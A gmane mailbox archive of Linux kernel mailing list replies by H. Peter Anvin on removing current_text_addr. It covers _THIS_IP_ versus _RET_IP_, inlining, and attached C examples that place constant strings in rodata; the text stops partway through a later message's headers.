NNTP-Posting-Date: Sun, 26 Aug 2018 02:41:17 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
Cc: Nicolas Pitre <nicolas.pitre@linaro.org>, linux-mips@linux-mips.org,
 linux-sh@vger.kernel.org, Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Will Deacon <will.deacon@arm.com>, Paul Mackerras <paulus@samba.org>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Vasily Gorbik <gor@linux.vnet.ibm.com>, Matt Turner <mattst88@gmail.com>,
 uclinux-h8-devel@lists.sourceforge.jp, Marc Zyngier <marc.zyngier@arm.com>,
 Ram Pai <linuxram@us.ibm.com>, linux-um@lists.infradead.org,
 Nicholas Piggin <npiggin@gmail.com>, Andy Lutomirski <luto@kernel.org>,
 Shannon Nelson <shannon.nelson@oracle.com>, tglx@linutronix.de,
 =?UTF-8?Q?Alex_Benn=c3=a9e?= <alex.bennee@linaro.org>,
 Richard Henderson <rth@twiddle.net>, Jiri Kosina <jkosina@suse.cz>,
 linux-kernel@vger.kerne
To: Helge Deller <deller@gmx.de>, Nick Desaulniers <ndesaulniers@google.com>, 
 torvalds@linux-foundation.org, akpm@linux-foundation.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sun Aug 26 04:41:03 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1ftkz9-0007QY-28
	for gla-linux-snps-arc@m.gmane.org; Sun, 26 Aug 2018 04:41:03 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Content-Type:
	In-Reply-To:MIME-Version:Date:Message-ID:From:References:To:Subject:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Owner;
	 bh=6RSP2i89LzWD/6vfYExz4X0ry9DlvleS/oKCCr5Lxr0=; b=oUJbq98AjQ69XJmdsETiqMX6G
	duaf2QnZYw7py5pPxNqfaOfu45G8UC3ExpSm4I35kAgNNu76WTJd56e8mQbIUwIry5w2R9jf/TfFV
	igDp1WvEScX2IZ93GozAMR5fQ02oRc4R/OWWQtJlQcNMGUWkaSJsGg68imx0zAMGntD6+clULd0FQ
	P0hODACtdEnzhW2RiQvgVJbshpfHui65I2VE9SDVbEaTrOZVBQvwE4sLuFtSyHio3FV3fxEEoNcYX
	hgrFy/RZ3a0mAgXGBK4OY3csHXsv/Y0TLsYzIqkcjVGohKmauExCr9oIE7i66jeQ4lnceJ5PQRHmz
	rYSmKLJhQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1ftl1C-0001Es-Cg; Sun, 26 Aug 2018 02:43:10 +0000
Original-Received: from terminus.zytor.com ([198.137.202.136] helo=mail.zytor.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1ftl18-0001E0-OY; Sun, 26 Aug 2018 02:43:08 +0000
Original-Received: from carbon-x1.hos.anvin.org (c-24-5-245-234.hsd1.ca.comcast.net
 [24.5.245.234] (may be forged)) (authenticated bits=0)
 by mail.zytor.com (8.15.2/8.15.2) with ESMTPSA id w7Q2cr9N048799
 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO);
 Sat, 25 Aug 2018 19:38:53 -0700
In-Reply-To: <207784db-4fcc-85e7-a0b2-fec26b7dab81@gmx.de>
Content-Language: en-US
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180825_194306_857373_8145074E 
X-CRM114-Status: GOOD (  18.05  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [198.137.202.136 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4220 gmane.linux.ports.mips.general:66183 gmane.linux.ports.sh.devel:57402 gmane.linux.kernel:2853306 gmane.linux.ports.m68k:10216 gmane.linux.ports.ia64:29117 gmane.linux.ports.hexagon:1814 gmane.linux.ports.arm.kernel:670177 gmane.linux.ports.parisc:28906 gmane.linux.ports.alpha:5203 gmane.linux.ports.sparc:28230 gmane.linux.ports.riscv:531 gmane.linux.ports.ppc64.devel:161661
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4220>

This is a multi-part message in MIME format.
--------------CE37549B542F2DC07673DCF7
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit

On 08/25/18 03:48, Helge Deller wrote:
> 
> Currently alpha, s390, sparc, sh, c6x, ia64 and parisc provide an
> inline assembly function to get the current instruction pointer. 
> As mentioned in an earlier thread, I personally would *prefer* if 
> _THIS_IP_ would use those inline assembly instructions on those
> architectures instead of the (currently used) higher C-level
> implementation.
> 

Older ones have as well, e.g. x86.

The only reason to retain the use of an assembly function would be in
the case where either:

a) the C implementation produces bad or invalid code on certain
   architectures;
b) there is a specific requirement that either an absolute or a relative
   value is used in the binary, e.g. due to constraints on relocation.
   The latter particularly comes to mind since the x86-64 implementation
   in assembly will produce movq $.,%reg (which requires relocation)
   instead of the more natural leaq .(%rip),%reg.

In the case (a) those architectures ought to be able to simply

#undef _THIS_IP_
#define _THIS_IP_ blah...

and in case (b) *those specific instances* should be using some kind of
specially flagged function e.g. current_true_ip() vs.
current_linktime_ip() or somesuch.

I also note that a lot of those functions are not marked
__always_inline, which is a serious error should the compiler ever get
the idea to out-of-line these functions, which could potentially happen
as gcc is rather bad at assigning weight to an assembly statement.

I'm also going to throw in a perhaps ugly bomb into this discussion:

_THIS_IP_ seems to be horribly ill-defined; there is no kind of
serialization, and no reason to believe it can't be arbitrarily hoisted
inside a function. Furthermore, *most of the uses of _THIS_IP_ seem to
be either discarded or passed to a function*, and the location of a
function call, unlike _THIS_IP_ is very well defined.

In that case, the use of this mechanism is completely pointless and
ought to be replaced with _RET_IP_.  It seems like most invocations of
_THIS_IP_ can be trivially replaced with _RET_IP_ inside the function,
which would also reduce the footprint of the function call, for example:

__trace_puts() is only ever called with _THIS_IP_ as the first argument;
drop that argument and use _RET_IP_ inside the function (also,
__trace_puts() only ever uses strlen() as the third argument, which gcc
can of course optimize into a constant for the case of a consta t
string, but *is that optimization actually worth it*?  In the case of
__trace_puts(), a variable strlen() would only ever need to be called in
the case of an allocation actually happening -- otherwise str is never
examined -- and again, it increases the *code size* of the call site.
If it was worthwhile it would make more sense to at least force this
into the rodata section with the string, something like the attached
file for an example; however, I have a hunch it doesn't matter.

I wouldn't be surprised if all or nearly all instances of _THIS_IP_ can
be completely removed.

	-hpa

--------------CE37549B542F2DC07673DCF7
Content-Type: text/x-csrc;
 name="str.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="str.c"

#include <stddef.h>
#include <string.h>

#define _RET_IP_ ((unsigned long)__builtin_return_address(0))
#define no_inline __attribute__((noinline))
#define must_inline __attribute__((always_inline)) inline

struct myputs_string {
	size_t len;
	const char *str;
};

int _myputs_struct(const struct myputs_string * const strs);
int _myputs_string(const char *str);
int __myputs(unsigned long ip, const char *str, size_t len);

int no_inline _myputs_struct(const struct myputs_string * const strs)
{
	return __myputs(_RET_IP_, strs->str, strs->len);
}

int no_inline _myputs_string(const char *str)
{
	return __myputs(_RET_IP_, str, strlen(str)+1);
}

#define myputs(s)							\
({									\
	int _rv;							\
	if (__builtin_constant_p(s) &&					\
	    __builtin_constant_p(strlen(s)) &&				\
	    strlen(s)+1 == sizeof(s)) {					\
		static const struct myputs_string _mps = {		\
			.len = sizeof(s),				\
			.str = __builtin_constant_p(s) ? s : NULL,	\
		};							\
		_rv = _myputs_struct(&_mps);				\
	} else {							\
		_rv = _myputs_string(s);				\
	}								\
	_rv;								\
})

int test1(void);
int test2(const char *strx);

int test1(void)
{
	return myputs("Foobar");
}

int test2(const char *strx)
{
	return myputs(strx);
}

		

--------------CE37549B542F2DC07673DCF7
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
linux-snps-arc mailing list
linux-snps-arc@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/linux-snps-arc
--------------CE37549B542F2DC07673DCF7--



From - Thu Nov 08 21:41:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] treewide: remove current_text_addr
Date: Sat, 25 Aug 2018 20:16:39 -0700
Lines: 102
Approved: news@gmane.org
Message-ID: <81141365-8168-799b-f34f-da5f92efaaf9@zytor.com>
References: <CAKwvOdkWL_2yTnJqM6n6R9UCPwY4iz-9BQYGN2MDAk9EzumUvA@mail.gmail.com>
 <20180821202900.208417-1-ndesaulniers@google.com>
 <207784db-4fcc-85e7-a0b2-fec26b7dab81@gmx.de>
 <c62e4e00-fb8f-19a6-f3eb-bde60118cb1a@zytor.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="------------E7C8783F0513F369AAD19004"
X-Trace: blaine.gmane.org 1535253394 28915 195.159.176.226 (26 Aug 2018 03:16:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 26 Aug 2018 03:16:34 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
Cc: Nicolas Pitre <nicolas.pitre@linaro.org>, linux-mips@linux-mips.org,
 linux-sh@vger.kernel.org, Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Will Deacon <will.deacon@arm.com>, Paul Mackerras <paulus@samba.org>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Vasily Gorbik <gor@linux.vnet.ibm.com>, Matt Turner <mattst88@gmail.com>,
 uclinux-h8-devel@lists.sourceforge.jp, Marc Zyngier <marc.zyngier@arm.com>,
 Ram Pai <linuxram@us.ibm.com>, linux-um@lists.infradead.org,
 Nicholas Piggin <npiggin@gmail.com>, Andy Lutomirski <luto@kernel.org>,
 Shannon Nelson <shannon.nelson@oracle.com>, tglx@linutronix.de,
 =?UTF-8?Q?Alex_Benn=c3=a9e?= <alex.bennee@linaro.org>,
 Richard Henderson <rth@twiddle.net>, Jiri Kosina <jkosina@suse.cz>,
 linux-kernel@vger.kerne
To: Helge Deller <deller@gmx.de>, Nick Desaulniers <ndesaulniers@google.com>, 
 torvalds@linux-foundation.org, akpm@linux-foundation.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sun Aug 26 05:16:20 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1ftlXG-0007Cq-OV
	for gla-linux-snps-arc@m.gmane.org; Sun, 26 Aug 2018 05:16:18 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Content-Type:
	In-Reply-To:MIME-Version:Date:Message-ID:References:To:From:Subject:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Owner;
	 bh=K7mQxG2ycdukjCP1/IdWJHnAeFuCiaZvk9/pPPdHoxg=; b=BX/2MlR04BwpJpkGPJy7siPFk
	fHmEA+/EKoDUK87DelSlIhcBoRlAvhBomL+DFGQkYtckndUM+g3xNGi4Gpw5p30h+czahFdXtt9sD
	NIUzeHpbkv1Cdzr5de1eXmp5UgnTTA2dYfsNx/Byyeb7Jq7NpGi20JWu4x2zTM3pSl+Bfd+YTtc8d
	zbJqIAMA+FzndLfQEpIRIuAoL4BssEBUWv9prOp+lH2xY+zQoYs25QyI7Kse1eej0K6AepR/cEx4l
	aRx4sH6kpi9OLVPBgZAWXQuEq/1mG6rDVeqaUqw/jRNI01qdZQj0vmX7gTBCnhaG9JFN/Se9cpEd3
	Ng4lDza5Q==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1ftlZL-0002Pi-Eb; Sun, 26 Aug 2018 03:18:27 +0000
Original-Received: from terminus.zytor.com ([198.137.202.136] helo=mail.zytor.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1ftlZH-0002PE-QX; Sun, 26 Aug 2018 03:18:25 +0000
Original-Received: from carbon-x1.hos.anvin.org (c-24-5-245-234.hsd1.ca.comcast.net
 [24.5.245.234] (may be forged)) (authenticated bits=0)
 by mail.zytor.com (8.15.2/8.15.2) with ESMTPSA id w7Q3Gien059219
 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO);
 Sat, 25 Aug 2018 20:16:44 -0700
In-Reply-To: <c62e4e00-fb8f-19a6-f3eb-bde60118cb1a@zytor.com>
Content-Language: en-US
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180825_201823_870422_FCA70658 
X-CRM114-Status: GOOD (  11.16  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [198.137.202.136 listed in list.dnswl.org]
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4221 gmane.linux.ports.mips.general:66184 gmane.linux.ports.sh.devel:57403 gmane.linux.kernel:2853307 gmane.linux.ports.m68k:10217 gmane.linux.ports.ia64:29118 gmane.linux.ports.hexagon:1815 gmane.linux.ports.arm.kernel:670178 gmane.linux.ports.parisc:28907 gmane.linux.ports.alpha:5204 gmane.linux.ports.sparc:28231 gmane.linux.ports.riscv:532 gmane.linux.ports.ppc64.devel:161662
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4221>

This is a multi-part message in MIME format.
--------------E7C8783F0513F369AAD19004
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit

On 08/25/18 19:38, H. Peter Anvin wrote:
>
> If it was worthwhile it would make more sense to at least force this
> into the rodata section with the string, something like the attached
> file for an example; however, I have a hunch it doesn't matter.
> 

An even nuttier version which avoids the extra pointer indirection.
Read it and fear.

	-hpa


--------------E7C8783F0513F369AAD19004
Content-Type: text/x-csrc;
 name="str.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="str.c"

#include <stddef.h>
#include <string.h>

#define _RET_IP_ ((unsigned long)__builtin_return_address(0))
#define no_inline __attribute__((noinline))
#define must_inline __attribute__((always_inline)) inline

struct myputs_string {
	unsigned short len;
	char str[0];
};

int _myputs_struct(const struct myputs_string * const strs);
int _myputs_string(const char *str);
int __myputs(unsigned long ip, const char *str, size_t len);

int no_inline _myputs_struct(const struct myputs_string * const strs)
{
	return __myputs(_RET_IP_, strs->str, strs->len);
}

int no_inline _myputs_string(const char *str)
{
	return __myputs(_RET_IP_, str, strlen(str)+1);
}

#define ifconst(x,y)	__builtin_choose_expr(__builtin_constant_p(x),(x),(y))

#define myputs(s)							\
({									\
	int _rv;							\
	if (__builtin_constant_p(s) &&					\
	    __builtin_constant_p(strlen(s)) &&				\
	    strlen(s)+1 == sizeof(s) &&					\
	    sizeof(s) <= (size_t)65535) {				\
	static const struct {						\
		struct myputs_string _mps_hdr;				\
		char _mps_str[sizeof(s)];				\
	} _mps = {							\
		._mps_hdr.len = sizeof(s),				\
		._mps_str = ifconst(s,""),				\
	};								\
		_rv = _myputs_struct(&_mps._mps_hdr);			\
	} else {							\
		_rv = _myputs_string(s);				\
	}								\
	_rv;								\
})

int test1(void);
int test2(const char *strx);

int test1(void)
{
	return myputs("Foobar");
}

int test2(const char *strx)
{
	return myputs(strx);
}

		

--------------E7C8783F0513F369AAD19004
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
linux-snps-arc mailing list
linux-snps-arc@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/linux-snps-arc
--------------E7C8783F0513F369AAD19004--



From - Thu Nov 08 21:41:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] treewide: remove current_text_addr
Date: Sat, 25 Aug 2018 21:56:11 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <7f49eeab-a5cc-867f-58fb-abd266f9c2c9@zytor.com>
References: <CAKwvOdkWL_2yTnJqM6n6R9UCPwY4iz-9BQYGN2MDAk9EzumUvA@mail.gmail.com>
 <20180821202900.208417-1-ndesaulniers@google.com>
 <207784db-4fcc-85e7-a0b2-fec26b7dab81@gmx.de>
 <c62e4e00-fb8f-19a6-f3eb-bde60118cb1a@zytor.com>
 <81141365-8168-799b-f34f-da5f92efaaf9@zytor.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1535259375 30424 195.159.176.226 (26 Aug 2018 04:56:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 26 Aug 2018 04:56:15 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
Cc: Nicolas Pitre <nicolas.pitre@linaro.org>, linux-mips@linux-mips.org,
 linux-sh@vger.kernel.org, Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Will Deacon <will.deacon@arm.com>, Paul Mackerras <paulus@samba.org>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Vasily Gorbik <gor@linux.vnet.ibm.com>, Matt Turner <mattst88@gmail.com>,
 uclinux-h8-devel@lists.sourceforge.jp, Marc Zyngier <marc.zyngier@arm.com>,
 Ram Pai <linuxram@us.ibm.com>, linux-um@lists.infradead.org,
 Nicholas Piggin <npiggin@gmail.com>, Andy Lutomirski <luto@kernel.org>,
 Shannon Nelson <shannon.nelson@oracle.com>, tglx@linutronix.de,
 =?UTF-8?Q?Alex_Benn=c3=a9e?= <alex.bennee@linaro.org>,
 Richard Henderson <rth@twiddle.net>, Jiri Kosina <jkosina@suse.cz>,
 linux-kernel@vger.kerne
To: Helge Deller <deller@gmx.de>, Nick Desaulniers <ndesaulniers@google.com>, 
 torvalds@linux-foundation.org, akpm@linux-foundation.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sun Aug 26 06:56:02 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1ftn5m-0007XL-4c
	for gla-linux-snps-arc@m.gmane.org; Sun, 26 Aug 2018 06:56:02 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:References:To:From:Subject:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=7/6uoB7lxvhOkJ4I/159HCRqR1RdWF3nduy+Q8pnb6k=; b=rsraFt1cnw0Rw6
	XNm35alzdbEcc6EazoXvDeLVIbsIErNY1tpSOrgo4iAFR149vGUrR8gqp9X790pquM7Jnt9Rn3KW4
	G9uWrC1/uIKGK3Hh9smI0RzXcIpdJk57//kVa7i9ShCb9nJkvxr8VhVp9yO9I0mMWvx/t3OoqOa5s
	iBQgIBhZ6vHrR2QJBkIqWWocWhn5Wrw9ZMf795i48egvy1UrsjsMg8v3ME+tet0WtGfJYol/re1kb
	tQqYiIo65YXMKSL0XKeCU2SIG9I25K1BooGLFfGtFkr2+dqvew8nyx9kJGu6m/97OSLynqh0ibXld
	izqneQmsD8yxDwgjxCGA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1ftn7o-0005Xo-RY; Sun, 26 Aug 2018 04:58:08 +0000
Original-Received: from terminus.zytor.com ([198.137.202.136] helo=mail.zytor.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1ftn7l-0004xf-R0; Sun, 26 Aug 2018 04:58:07 +0000
Original-Received: from carbon-x1.hos.anvin.org (c-24-5-245-234.hsd1.ca.comcast.net
 [24.5.245.234] (may be forged)) (authenticated bits=0)
 by mail.zytor.com (8.15.2/8.15.2) with ESMTPSA id w7Q4uG0h083636
 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO);
 Sat, 25 Aug 2018 21:56:17 -0700
In-Reply-To: <81141365-8168-799b-f34f-da5f92efaaf9@zytor.com>
Content-Language: en-US
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180825_215805_913577_2C953249 
X-CRM114-Status: GOOD (  11.24  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [198.137.202.136 listed in list.dnswl.org]
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4222 gmane.linux.ports.mips.general:66185 gmane.linux.ports.sh.devel:57404 gmane.linux.kernel:2853312 gmane.linux.ports.m68k:10218 gmane.linux.ports.ia64:29119 gmane.linux.ports.hexagon:1816 gmane.linux.ports.arm.kernel:670179 gmane.linux.ports.parisc:28908 gmane.linux.ports.alpha:5205 gmane.linux.ports.sparc:28232 gmane.linux.ports.riscv:533 gmane.linux.ports.ppc64.devel:161663
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4222>

On 08/25/18 20:16, H. Peter Anvin wrote:
> On 08/25/18 19:38, H. Peter Anvin wrote:
>>
>> If it was worthwhile it would make more sense to at least force this
>> into the rodata section with the string, something like the attached
>> file for an example; however, I have a hunch it doesn't matter.
>>
> 
> An even nuttier version which avoids the extra pointer indirection.
> Read it and fear.
> 
> 	-hpa
> 

OK, so one more thing, I guess: it is necessary to suppress the tailcall
optimization for _RET_IP_ to make any sense, but that should be pretty
simple:

static inline void notailcall(void)
{
	asm volatile("");
}

	-hpa

From - Thu Nov 08 21:41:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] treewide: remove current_text_addr
Date: Sun, 26 Aug 2018 12:30:37 -0700
Lines: 228
Approved: news@gmane.org
Message-ID: <6ca8a1d3-ff95-e9f4-f003-0a5af85bcb6f@zytor.com>
References: <CAKwvOdkWL_2yTnJqM6n6R9UCPwY4iz-9BQYGN2MDAk9EzumUvA@mail.gmail.com>
